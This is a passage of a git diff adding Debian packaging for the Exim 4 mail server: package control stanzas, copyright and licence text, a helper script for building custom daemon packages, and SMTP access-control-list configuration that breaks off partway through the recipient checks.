+ http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
+
+Package: exim4-config
+Architecture: all
+Priority: optional
+Breaks:
+ exim4-daemon-heavy (<< 4.91~RC1),
+ exim4-daemon-light (<< 4.91~RC1)
+Provides: exim4-config-2
+Conflicts:
+ exim,
+ exim-tls,
+ exim4-config,
+ exim4-config-2,
+ ${MTA-Conflicts}
+Depends: adduser, ${misc:Depends}, ${shlibs:Depends}
+Description: configuration for the Exim MTA (v4)
+ Exim (v4) is a mail transport agent. exim4-config provides the configuration
+ for the exim4 daemon packages. The configuration framework has been split
+ off the main package to allow sites to replace the configuration scheme
+ with their own without having to change the actual exim4 packages.
+ .
+ Sites with special configuration needs (having a lot of identically
+ configured machines for example) can use this to distribute their own
+ custom configuration via the packaging system, using the magic
+ available with dpkg's conffile handling, without having to do local
+ changes on all of these machines.
+ .
+ The Debian exim4 packages have their own web page,
+ http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+ FAQ list. Information about the way the Debian packages are
+ configured can be found in
+ /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+ information about the way the Debian binary packages are built. The
+ very extensive upstream documentation is shipped in
+ /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+ configuration process in a standard setup, invoke dpkg-reconfigure
+ exim4-config. There is a Debian-centered mailing list,
+ pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if you are sure that your question is not Debian-specific. You
+ can find the subscription web page on
+ http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
+
+Package: exim4-daemon-light
+Architecture: any
+Priority: optional
+Provides:
+ exim4-localscanapi-2.0,
+ mail-transport-agent,
+ ${dist:Provides:exim4-daemon-light}
+Conflicts: mail-transport-agent
+Replaces: exim4-base (<= 4.61-1), mail-transport-agent
+Depends:
+ exim4-base (>= ${Upstream-Version}),
+ ${misc:Depends},
+ ${shlibs:Depends}
+Description: lightweight Exim MTA (v4) daemon
+ Exim (v4) is a mail transport agent. This package contains the exim4
+ daemon with only basic features enabled. It works well with the
+ standard setups that are provided by Debian and includes support for
+ TLS encryption and the dlopen patch to allow dynamic loading of a
+ local_scan function.
+ .
+ The Debian exim4 packages have their own web page,
+ http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+ FAQ list. Information about the way the Debian packages are
+ configured can be found in
+ /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+ information about the way the Debian binary packages are built. The
+ very extensive upstream documentation is shipped in
+ /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+ configuration process in a standard setup, invoke dpkg-reconfigure
+ exim4-config. There is a Debian-centered mailing list,
+ pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if you are sure that your question is not Debian-specific. You
+ can find the subscription web page on
+ http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
+
+Package: exim4
+Architecture: all
+Priority: optional
+Depends:
+ debconf (>= 1.4.69) | cdebconf (>= 0.39),
+ exim4-base (<< ${source:Version}.1),
+ exim4-base (>= ${source:Version}),
+ exim4-daemon-light | exim4-daemon-heavy | exim4-daemon-custom,
+ ${misc:Depends}
+Description: metapackage to ease Exim MTA (v4) installation
+ Exim (v4) is a mail transport agent. exim4 is the metapackage depending
+ on the essential components for a basic exim4 installation.
+ .
+ The Debian exim4 packages have their own web page,
+ http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+ FAQ list. Information about the way the Debian packages are
+ configured can be found in
+ /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+ information about the way the Debian binary packages are built. The
+ very extensive upstream documentation is shipped in
+ /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+ configuration process in a standard setup, invoke dpkg-reconfigure
+ exim4-config. There is a Debian-centered mailing list,
+ pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if you are sure that your question is not Debian-specific. You
+ can find the subscription web page on
+ http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
+
+Package: exim4-daemon-heavy
+Architecture: any
+Priority: optional
+Provides: exim4-localscanapi-2.0, mail-transport-agent
+Conflicts: mail-transport-agent
+Replaces: exim4-base (<= 4.61-1), mail-transport-agent
+Depends:
+ exim4-base (>= ${Upstream-Version}),
+ ${misc:Depends},
+ ${shlibs:Depends}
+Breaks: clamav-daemon (<< 0.95)
+Description: Exim MTA (v4) daemon with extended features, including exiscan-acl
+ Exim (v4) is a mail transport agent. This package contains the exim4
+ daemon with extended features. In addition to the features already
+ supported by exim4-daemon-light, exim4-daemon-heavy includes LDAP,
+ sqlite, PostgreSQL and MySQL data lookups, SASL and SPA SMTP authentication,
+ embedded Perl interpreter, and the content scanning extension
+ (formerly known as "exiscan-acl") for integration of virus scanners
+ and spamassassin.
+ .
+ The Debian exim4 packages have their own web page,
+ http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+ FAQ list. Information about the way the Debian packages are
+ configured can be found in
+ /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+ information about the way the Debian binary packages are built. The
+ very extensive upstream documentation is shipped in
+ /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+ configuration process in a standard setup, invoke dpkg-reconfigure
+ exim4-config. There is a Debian-centered mailing list,
+ pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if you are sure that your question is not Debian-specific. You
+ can find the subscription web page on
+ http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
+
+#Package: exim4-daemon-custom
+#Architecture: any
+#Priority: optional
+#Provides: exim4-localscanapi-2.0, mail-transport-agent
+#Conflicts: mail-transport-agent
+#Replaces: exim4-base (<= 4.61-1), mail-transport-agent
+#Depends:
+# exim4-base (>= ${Upstream-Version}),
+# ${misc:Depends},
+# ${shlibs:Depends}
+#Description: custom Exim MTA (v4) daemon with locally set features
+# Exim (v4) is a mail transport agent. This package contains a
+# custom-configured exim4 daemon compiled to local needs. This package
+# is not part of official Debian, but can easily be built from the
+# Debian source package. For information about the feature set compiled in,
+# and for bug reports, please find out who built your package.
+# .
+# The Debian exim4 packages have their own web page,
+# http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+# FAQ list. Information about the way the Debian packages are
+# configured can be found in
+# /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+# information about the way the Debian binary packages are built. The
+# very extensive upstream documentation is shipped in
+# /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+# configuration process in a standard setup, invoke dpkg-reconfigure
+# exim4-config. There is a Debian-centered mailing list,
+# pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+# questions there, and only write to the upstream exim-users mailing
+# list if you are sure that your question is not Debian-specific. You
+# can find the subscription web page on
+# http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
+
+Package: eximon4
+Architecture: any
+Priority: optional
+Conflicts: eximon
+Replaces: eximon
+Depends: exim4-base (>= 4.10), ${misc:Depends}, ${shlibs:Depends}
+Description: monitor application for the Exim MTA (v4) (X11 interface)
+ Eximon is a helper program for the Exim MTA (v4). It allows
+ administrators to view the mail queue and logs, and perform a variety
+ of actions on queued messages, such as freezing, bouncing and thawing
+ messages.
+
+Package: exim4-dev
+Architecture: any
+Priority: optional
+Depends: ${misc:Depends}
+Description: header files for the Exim MTA (v4) packages
+ Exim (v4) is a mail transport agent. This package contains header
+ files that can be used to compile code that is then dynamically linked
+ to exim's local_scan interface.
+ .
+ The Debian exim4 packages have their own web page,
+ http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+ FAQ list. Information about the way the Debian packages are
+ configured can be found in
+ /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+ information about the way the Debian binary packages are built. The
+ very extensive upstream documentation is shipped in
+ /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+ configuration process in a standard setup, invoke dpkg-reconfigure
+ exim4-config. There is a Debian-centered mailing list,
+ pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if you are sure that your question is not Debian-specific. You
+ can find the subscription web page on
+ http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
diff --git a/debian/copyright b/debian/copyright
new file mode 100644
index 0000000..b986c5e
--- /dev/null
+++ b/debian/copyright
@@ -0,0 +1,229 @@
+This is Debian GNU/Linux's prepackaged version of exim, a powerful yet easy
+to configure mail transport agent.
+
+-----------------------------------------------------------------
+This package was put together from the original sources which are
+maintained by Philip Hazel <ph10@cus.cam.ac.uk>, and which were
+obtained from
+
+ ftp://ftp.csx.cam.ac.uk/pub/software/email/exim/
+
+Some modifications to the Makefiles have been made to fit with the Linux
+FHS.
+-----------------------------------------------------------------
+
+-----------------------------------------------------------------
+The exim content filtering extension, formally known as the
+exiscan-acl patch, and which is included in exim4-daemon-heavy,
+was written by Tom Kistner <tom@duncanthrax.net>.
+/* Copyright (c) Tom Kistner <tom@duncanthrax.net> 2003-???? */
+/* License: GPL */
+-----------------------------------------------------------------
+
+-----------------------------------------------------------------
+Debian Maintainer history:
+- The Debian package for exim was originally made by Tim Cutts
+ <timc@chiark.greenend.org.uk>.
+- Mark Baker <mbaker@iee.org> took over until exim version 3 and is
+ still involved with packaging.
+- Steve Haslam, Hilko Bengen and Marc Haber generated the initial
+ packages of Exim v4.
+- The exim4 packages are currently maintained by
+ - Core Team
+ - (mh) Marc Haber <mh+debian-packages@zugschlus.de> (team leader)
+ - (am) Andreas Metzler <ametzler@downhill.at.eu.org> (uploader)
+ - Commit Privileges
+ - (hb) Hilko Bengen <bengen@debian.org> (documentation, hacks etc)
+ - (cb) Christian Perrier <bubulle@debian.org> (translations)
+
+The following people helped in preparing the exim4 packages and gave
+important feedback:
+- Marc Merlin provides the dlopen patch, making it possible to load
+ local_scan-routines for a external shared object.
+ The original patch was written by David Woodhouse, it was modified first
+ by Derrick 'dman' Hudson and afterwards by Marc Merlin.
+- Sander Smeenk provided the TLS-docs and the script to generate the
+ self-signed certificates.
+- The people on the exim4debian list that submitted bug-reports and -fixes,
+ and helped with design issues: Matthias Klose, Alexander Koch, Ola
+ Lundqvist, Andrew Mulholland, David Pashley, Andreas Piesk, Nick Phillips
+ and whoever I forgot to mention.
+- syslog2eximlog script by Martin Godisch.
+- Hilko Bengen converted the Debian documentation from plain-text to XML
+ format.
+-----------------------------------------------------------------
+
+
+-----------------------------------------------------------------
+exim is copyright (c) 1995 - 2018 University of Cambridge.
+
+The original licence is as follows (from the file NOTICE in the upstream
+distribution); a copy of the GNU GPL version 2 is available in
+/usr/share/common-licenses/GPL-2 on Debian systems.
+
+_________________________________________________________________________
+THE EXIM MAIL TRANSFER AGENT
+----------------------------
+
+Copyright (c) 2004 University of Cambridge
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+In addition, for the avoidance of any doubt, permission is granted to
+link this program with OpenSSL or any other library package and to
+(re)distribute the binaries produced as the result of such linking.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+
+UNSOLICITED EMAIL
+-----------------
+
+The use, supply or promotion of Exim for the purpose of sending bulk,
+unsolicited electronic mail is incompatible with the basic aims of the program,
+which revolve around the free provision of a service that enhances the quality
+of personal communications. The author of Exim regards indiscriminate
+mass-mailing as an antisocial, irresponsible abuse of the Internet.
+
+
+INCORPORATED CODE
+-----------------
+
+A number of pieces of external code are included in the Exim distribution.
+
+ . Support for the cdb (Constant DataBase) lookup method is provided by code
+ contributed by Nigel Metheringham of Planet Online Ltd. which contains
+ the following statements:
+ _________________________________________________________________________
+
+ Copyright (c) 1998 Nigel Metheringham, Planet Online Ltd
+
+ This program is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License as published by the
+ Free Software Foundation; either version 2 of the License, or (at your
+ option) any later version.
+
+ This code implements Dan Bernstein's Constant DataBase (cdb) spec.
+ Information, the spec and sample code for cdb can be obtained from
+ http://www.pobox.com/~djb/cdb.html. This implementation borrows some code
+ from Dan Bernstein's implementation (which has no license restrictions
+ applied to it).
+ _________________________________________________________________________
+
+ The implementation is completely contained within the code of Exim. It
+ does not link against an external cdb library.
+
+ . Client support for Microsoft's "Secure Password Authentication" is pro-
+ vided by code contributed by Marc Prud'hommeaux. Server support was
+ contributed by Tom Kistner. This includes code taken from the Samba
+ project, which is released under the Gnu GPL.
+
+
+ . Support for calling the Cyrus "pwcheck" and "saslauthd" daemons is
+ provided by code taken from the Cyrus-SASL library and adapted by
+ Alexander S. Sabourenkov. The permission notice appears below, in
+ accordance with the conditions expressed therein.
+
+ _________________________________________________________________________
+
+ Copyright (c) 2001 Carnegie Mellon University. All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are
+ met:
+
+ 1. Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+
+ 3. The name 'Carnegie Mellon University' must not be used to endorse or
+ promote products derived from this software without prior written
+ permission. For permission or any other legal details, please
+ contact
+
+ Office of Technology Transfer
+ Carnegie Mellon University
+ 5000 Forbes Avenue
+ Pittsburgh, PA 15213-3890
+ (412) 268-4387, fax: (412) 268-7395
+ tech-transfer@andrew.cmu.edu
+
+ 4. Redistributions of any form whatsoever must retain the following
+ acknowledgment:
+ This product includes software developed by Computing Services at
+ Carnegie Mellon University (http://www.cmu.edu/computing/).
+
+ CARNEGIE MELLON UNIVERSITY DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS
+ SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
+ FITNESS, IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE FOR ANY
+ SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
+ RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
+ CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+ CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ _________________________________________________________________________
+
+
+ . The Exim Monitor program, which is an X-Window application, includes
+ modified versions of the Athena StripChart and TextPop widgets. This code
+ is copyright by DEC and MIT, and their permission notice appears below,
+ in accordance with the conditions expressed therein.
+
+ _________________________________________________________________________
+
+ Copyright 1987, 1988 by Digital Equipment Corporation, Maynard,
+ Massachusetts, and the Massachusetts Institute of Technology, Cambridge,
+ Massachusetts.
+
+ All Rights Reserved
+
+ Permission to use, copy, modify, and distribute this software and its
+ documentation for any purpose and without fee is hereby granted, provided
+ that the above copyright notice appear in all copies and that both that
+ copyright notice and this permission notice appear in supporting documen-
+ tation, and that the names of Digital or MIT not be used in advertising
+ or publicity pertaining to distribution of the software without specific,
+ written prior permission.
+
+ DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ SOFTWARE.
+ _________________________________________________________________________
+
+
+ . Some of the code to support the use of maildirsize files for maildir
+ deliveries is taken from the Courier Imapd source code. This code is
+ released under the GPL.
+ _________________________________________________________________________
+
+--
+Philip Hazel University of Cambridge Computing Service,
+-----------------------------------------------------------------
+src/pdkim/*
+
+PDKIM - a RFC4871 (DKIM) implementation
+http://duncanthrax.net/pdkim/
+Copyright (C) 2009 Tom Kistner <tom@duncanthrax.net>
+
+No longer includes code from the PolarSSL project.
+Copyright (C) 2016 Jeremy Harris <jgh@exim.org>
+
+This copy of PDKIM is included with Exim. For a standalone distribution,
+visit http://duncanthrax.net/pdkim/.
+-----------------------------------------------------------------
diff --git a/debian/create-custom-package b/debian/create-custom-package
new file mode 100755
index 0000000..6c1984e
--- /dev/null
+++ b/debian/create-custom-package
@@ -0,0 +1,95 @@
+#!/bin/bash
+
+set -e
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+dh_testdir
+if [ -z "$(which grep-dctrl)" ] || ! [ -x "$(which grep-dctrl)" ]; then
+ echo >&2 "ERR: no grep-dctrl binary"
+ exit 1
+fi
+
+fakeroot debian/rules clean
+
+if [ -n "$1" ]; then
+ PACKAGESUFFIX="$1"
+fi
+
+#DEBUG=1
+
+dh_testdir
+
+cd debian
+
+replacepkgname() {
+ sed -e "s/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX/g;\
+ s/exim4-custom/exim4-$PACKAGESUFFIX/g"
+}
+
+copytextreplace() {
+ FILE="$1"
+ DSTFILE="$2"
+ if [ -z "$DSTFILE" ]; then
+ echo >&2 "no destination file given to copytextreplace $FILE"
+ exit 1
+ fi
+ [ $DEBUG ] && echo >&2 "DBG: source $FILE"
+ [ $DEBUG ] && echo >&2 "DBG: dst $DSTFILE"
+ if ! [ -e "$DSTFILE" ]; then
+ < $FILE replacepkgname > $DSTFILE
+ chmod --reference=$FILE $DSTFILE
+ else
+ echo >&2 "ERR: can't write to $DSTFILE, file exists"
+ exit 1
+ fi
+}
+
+NEEDEDFILES="exim4-daemon-custom.* rules control"
+for file in $NEEDEDFILES; do
+ if ! [ -e $file ]; then
+ echo >&2 "ERR: $file does not exist, not starting"
+ exit 1
+ fi
+done
+
+# the grep-dctrl|grep construct is necessary on woody,
+# since woody grep-dctrl does not give sensible return values.
+if grep-dctrl --field=Package exim4-daemon-$PACKAGESUFFIX control | \
+ grep -q '^Package:'; then
+ echo >&2 "ERR: there is already a debian/control entry for exim4-daemon-$PACKAGESUFFIX, not starting"
+ exit 1
+fi
+
+if grep -q exim4-daemon-$PACKAGESUFFIX rules; then
+ echo >&2 "ERR: exim4-daemon-$PACKAGESUFFIX already mentioned in debian/rules, not starting"
+ exit 1
+fi
+
+for file in exim4-daemon-custom.* ; do
+ copytextreplace $file ${file/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX}
+done
+
+echo >> control
+grep-dctrl --field=Package exim4-daemon-custom control | \
+ replacepkgname >> control
+
+< rules sed "/^builddaemonpackages/ \
+ {s/^builddaemonpackages=/builddaemonpackages=exim4-daemon-$PACKAGESUFFIX /; \
+ }" > rules.new
+echo >> rules.new
+< rules sed -n "\
+ /^build-exim4-daemon-custom/,/^[^[:space:]]/ \
+ { \
+ s/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX/; \
+ s/exim4-custom/exim4-$PACKAGESUFFIX/; \
+ /^build-exim4-daemon-$PACKAGESUFFIX/p;
+ /^[^[:space:]]/d; \
+ p; \
+ }" \
+>> rules.new
+chmod --reference=rules rules.new
+mv rules.new rules
diff --git a/debian/debconf/conf.d/acl/00_exim4-config_header b/debian/debconf/conf.d/acl/00_exim4-config_header
new file mode 100644
index 0000000..76b017e
--- /dev/null
+++ b/debian/debconf/conf.d/acl/00_exim4-config_header
@@ -0,0 +1,8 @@
+
+######################################################################
+# ACL CONFIGURATION #
+# Specifies access control lists for incoming SMTP mail #
+######################################################################
+begin acl
+
+
diff --git a/debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions b/debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions
new file mode 100644
index 0000000..2372795
--- /dev/null
+++ b/debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions
@@ -0,0 +1,49 @@
+
+### acl/20_exim4-config_local_deny_exceptions
+#################################
+
+# This is used to determine whitelisted senders and hosts.
+# It checks for CONFDIR/host_local_deny_exceptions and
+# CONFDIR/sender_local_deny_exceptions.
+#
+# It is meant to be used from some other acl entry.
+#
+# See exim4-config_files(5) for details.
+#
+# If the files do not exist, the white list never matches, which is
+# the desired behaviour.
+#
+# The old file names CONFDIR/local_host_whitelist and
+# CONFDIR/local_sender_whitelist will continue to be honored for a
+# transition period. Their use is deprecated.
+
+acl_local_deny_exceptions:
+ accept
+ hosts = ${if exists{CONFDIR/host_local_deny_exceptions}\
+ {CONFDIR/host_local_deny_exceptions}\
+ {}}
+ accept
+ senders = ${if exists{CONFDIR/sender_local_deny_exceptions}\
+ {CONFDIR/sender_local_deny_exceptions}\
+ {}}
+ accept
+ hosts = ${if exists{CONFDIR/local_host_whitelist}\
+ {CONFDIR/local_host_whitelist}\
+ {}}
+ accept
+ senders = ${if exists{CONFDIR/local_sender_whitelist}\
+ {CONFDIR/local_sender_whitelist}\
+ {}}
+
+ # This hook allows you to hook in your own ACLs without having to
+ # modify this file. If you do it like we suggest, you'll end up with
+ # a small performance penalty since there is an additional file being
+ # accessed. This doesn't happen if you leave the macro unset.
+ .ifdef LOCAL_DENY_EXCEPTIONS_LOCAL_ACL_FILE
+ .include LOCAL_DENY_EXCEPTIONS_LOCAL_ACL_FILE
+ .endif
+
+ # this is still supported for a transition period and is deprecated.
+ .ifdef WHITELIST_LOCAL_DENY_LOCAL_ACL_FILE
+ .include WHITELIST_LOCAL_DENY_LOCAL_ACL_FILE
+ .endif
diff --git a/debian/debconf/conf.d/acl/30_exim4-config_check_mail b/debian/debconf/conf.d/acl/30_exim4-config_check_mail
new file mode 100644
index 0000000..f8c53d6
--- /dev/null
+++ b/debian/debconf/conf.d/acl/30_exim4-config_check_mail
@@ -0,0 +1,11 @@
+
+### acl/30_exim4-config_check_mail
+#################################
+
+# This access control list is used for every MAIL command in an incoming
+# SMTP message. The tests are run in order until the address is either
+# accepted or denied.
+#
+acl_check_mail:
+
+ accept
diff --git a/debian/debconf/conf.d/acl/30_exim4-config_check_rcpt b/debian/debconf/conf.d/acl/30_exim4-config_check_rcpt
new file mode 100644
index 0000000..b8bde1e
--- /dev/null
+++ b/debian/debconf/conf.d/acl/30_exim4-config_check_rcpt
@@ -0,0 +1,375 @@
+
+### acl/30_exim4-config_check_rcpt
+#################################
+
+# define macros to be used below in this file to check recipient
+# local parts for strange characters. Documentation below.
+# This blocks local parts that begin with a dot or contain a quite
+# broad range of non-alphanumeric characters.
+
+.ifndef CHECK_RCPT_LOCAL_LOCALPARTS
+CHECK_RCPT_LOCAL_LOCALPARTS = ^[.] : ^.*[@%!/|`#&?]
+.endif
+
+.ifndef CHECK_RCPT_REMOTE_LOCALPARTS
+CHECK_RCPT_REMOTE_LOCALPARTS = ^[./|] : ^.*[@%!`#&?] : ^.*/\\.\\./
+.endif
+
+# This access control list is used for every RCPT command in an incoming
+# SMTP message. The tests are run in order until the address is either
+# accepted or denied.
+#
+acl_check_rcpt:
+
+ # Accept if the source is local SMTP (i.e. not over TCP/IP). We do this by
+ # testing for an empty sending host field.
+ accept
+ hosts = :
+ control = dkim_disable_verify
+
+ # Do not try to verify DKIM signatures of incoming mail if DC_minimaldns
+ # or DISABLE_DKIM_VERIFY are set.
+.ifdef DC_minimaldns
+ warn
+ control = dkim_disable_verify
+.else
+.ifdef DISABLE_DKIM_VERIFY
+ warn
+ control = dkim_disable_verify
+.endif
+.endif
+
+ # The following section of the ACL is concerned with local parts that contain
+ # certain non-alphanumeric characters. Dots in unusual places are
+ # handled by this ACL as well.
+ #
+ # Non-alphanumeric characters other than dots are rarely found in genuine
+ # local parts, but are often tried by people looking to circumvent
+ # relaying restrictions. Therefore, although they are valid in local
+ # parts, these rules disallow certain non-alphanumeric characters, as
+ # a precaution.
+ #
+ # Empty components (two dots in a row) are not valid in RFC 2822, but Exim
+ # allows them because they have been encountered. (Consider local parts
+ # constructed as "firstinitial.secondinitial.familyname" when applied to
+ # a name without a second initial.) However, a local part starting
+ # with a dot or containing /../ can cause trouble if it is used as part of a
+ # file name (e.g. for a mailing list). This is also true for local parts that
+ # contain slashes. A pipe symbol can also be troublesome if the local part is
+ # incorporated unthinkingly into a shell command line.
+ #
+ # These ACL components will block recipient addresses that are valid
+ # from an RFC5322 point of view. We chose to have them blocked by
+ # default for security reasons.
+ #
+ # If you feel that your site should have less strict recipient
+ # checking, please feel free to change the default values of the macros
+ # defined in main/01_exim4-config_listmacrosdefs or override them from a
+ # local configuration file.
+ #
+ # Two different rules are used. The first one has a quite strict
+ # default, and is applied to messages that are addressed to one of the
+ # local domains handled by this host.
+
+ # The default value of CHECK_RCPT_LOCAL_LOCALPARTS is defined
+ # at the top of this file.
+ .ifdef CHECK_RCPT_LOCAL_LOCALPARTS
+ deny
+ domains = +local_domains
+ local_parts = CHECK_RCPT_LOCAL_LOCALPARTS
+ message = restricted characters in address
+ .endif
+
+
+ # The second rule applies to all other domains, and its default is
+ # considerably less strict.
+
+ # The default value of CHECK_RCPT_REMOTE_LOCALPARTS is defined in
+ # main/01_exim4-config_listmacrosdefs:
+ # CHECK_RCPT_REMOTE_LOCALPARTS = ^[./|] : ^.*[@%!`#&?] : ^.*/\\.\\./
+
+ # It allows local users to send outgoing messages to sites
+ # that use slashes and vertical bars in their local parts. It blocks
+ # local parts that begin with a dot, slash, or vertical bar, but allows
+ # these characters within the local part. However, the sequence /../ is
+ # barred. The use of some other non-alphanumeric characters is blocked.
+ # Single quotes might probably be dangerous as well, but they're
+ # allowed by the default regexps to avoid rejecting mails to Ireland.
+ # The motivation here is to prevent local users (or local users' malware)
+ # from mounting certain kinds of attack on remote sites.
+ .ifdef CHECK_RCPT_REMOTE_LOCALPARTS
+ deny
+ domains = !+local_domains
+ local_parts = CHECK_RCPT_REMOTE_LOCALPARTS
+ message = restricted characters in address
+ .endif
+
+
+ # Accept mail to postmaster in any local domain, regardless of the source,
+ # and without verifying the sender.
+ #
+ accept
+ .ifndef CHECK_RCPT_POSTMASTER
+ local_parts = postmaster
+ .else
+ local_parts = CHECK_RCPT_POSTMASTER
+ .endif
+ domains = +local_domains : +relay_to_domains
+
+
+ # Deny unless the sender address can be verified.
+ #
+ # This is disabled by default so that DNSless systems don't break. If
+ # your system can do DNS lookups without delay or cost, you might want
+ # to enable this feature.
+ #
+ # This feature does not work in smarthost and satellite setups as
+ # with these setups all domains pass verification. See spec.txt section
+ # "Access control lists" subsection "Address verification" with the added
+ # information that a smarthost/satellite setup routes all non-local e-mail
+ # to the smarthost.
+ .ifdef CHECK_RCPT_VERIFY_SENDER
+ deny
+ message = Sender verification failed
+ !acl = acl_local_deny_exceptions
+ !verify = sender
+ .endif
+
+ # Verify senders listed in local_sender_callout with a callout.
+ #
+ # In smarthost and satellite setups, this causes the callout to be
+ # done to the smarthost. Verification will thus only be reliable if the
+ # smarthost does reject illegal addresses in the SMTP dialog.
+ deny
+ !acl = acl_local_deny_exceptions
+ senders = ${if exists{CONFDIR/local_sender_callout}\
+ {CONFDIR/local_sender_callout}\
+ {}}
+ !verify = sender/callout
+
+
+ # Accept if the message comes from one of the hosts for which we are an
+ # outgoing relay. It is assumed that such hosts are most likely to be MUAs,
+ # so we set control=submission to make Exim treat the message as a
+ # submission. It will fix up various errors in the message, for example, the
+ # lack of a Date: header line. If you are actually relaying out out from
+ # MTAs, you may want to disable this. If you are handling both relaying from
+ # MTAs and submissions from MUAs you should probably split them into two
+ # lists, and handle them differently.
+
+ # Recipient verification is omitted here, because in many cases the clients
+ # are dumb MUAs that don't cope well with SMTP error responses. If you are
+ # actually relaying out from MTAs, you should probably add recipient
+ # verification here.
+
+ # Note that, by putting this test before any DNS black list checks, you will
+ # always accept from these hosts, even if they end up on a black list. The
+ # assumption is that they are your friends, and if they get onto black
+ # list, it is a mistake.
+ accept
+ hosts = +relay_from_hosts
+ control = submission/sender_retain
+ control = dkim_disable_verify
+
+
+ # Accept if the message arrived over an authenticated connection, from
+ # any host. Again, these messages are usually from MUAs, so recipient
+ # verification is omitted, and submission mode is set. And again, we do this
+ # check before any black list tests.
+ accept
+ authenticated = *
+ control = submission/sender_retain
+ control = dkim_disable_verify
+
+ # Insist that a HELO/EHLO was accepted.
+
+ require message = nice hosts say HELO first
+ condition = ${if def:sender_helo_name}
+
+ # Insist that any other recipient address that we accept is either in one of
+ # our local domains, or is in a domain for which we explicitly allow
+ # relaying. Any other domain is rejected as being unacceptable for relaying.
+ require
+ message = relay not permitted
+ domains = +local_domains : +relay_to_domains
+
+
+ # We also require all accepted addresses to be verifiable. This check will
+ # do local part verification for local domains, but only check the domain
+ # for remote domains.
+ require
+ verify = recipient
+
+
+ # Verify recipients listed in local_rcpt_callout with a callout.
+ # This is especially handy for forwarding MX hosts (secondary MX or
+ # mail hubs) of domains that receive a lot of spam to non-existent
+ # addresses. The only way to check local parts for remote relay
+ # domains is to use a callout (add /callout), but please read the
+ # documentation about callouts before doing this.
+ deny
+ !acl = acl_local_deny_exceptions
+ recipients = ${if exists{CONFDIR/local_rcpt_callout}\
+ {CONFDIR/local_rcpt_callout}\
+ {}}
+ !verify = recipient/callout
+
+
+ # CONFDIR/local_sender_blacklist holds a list of envelope senders that
+ # should have their access denied to the local host. Incoming messages
+ # with one of these senders are rejected at RCPT time.
+ #
+ # The explicit white lists are honored as well as negative items in
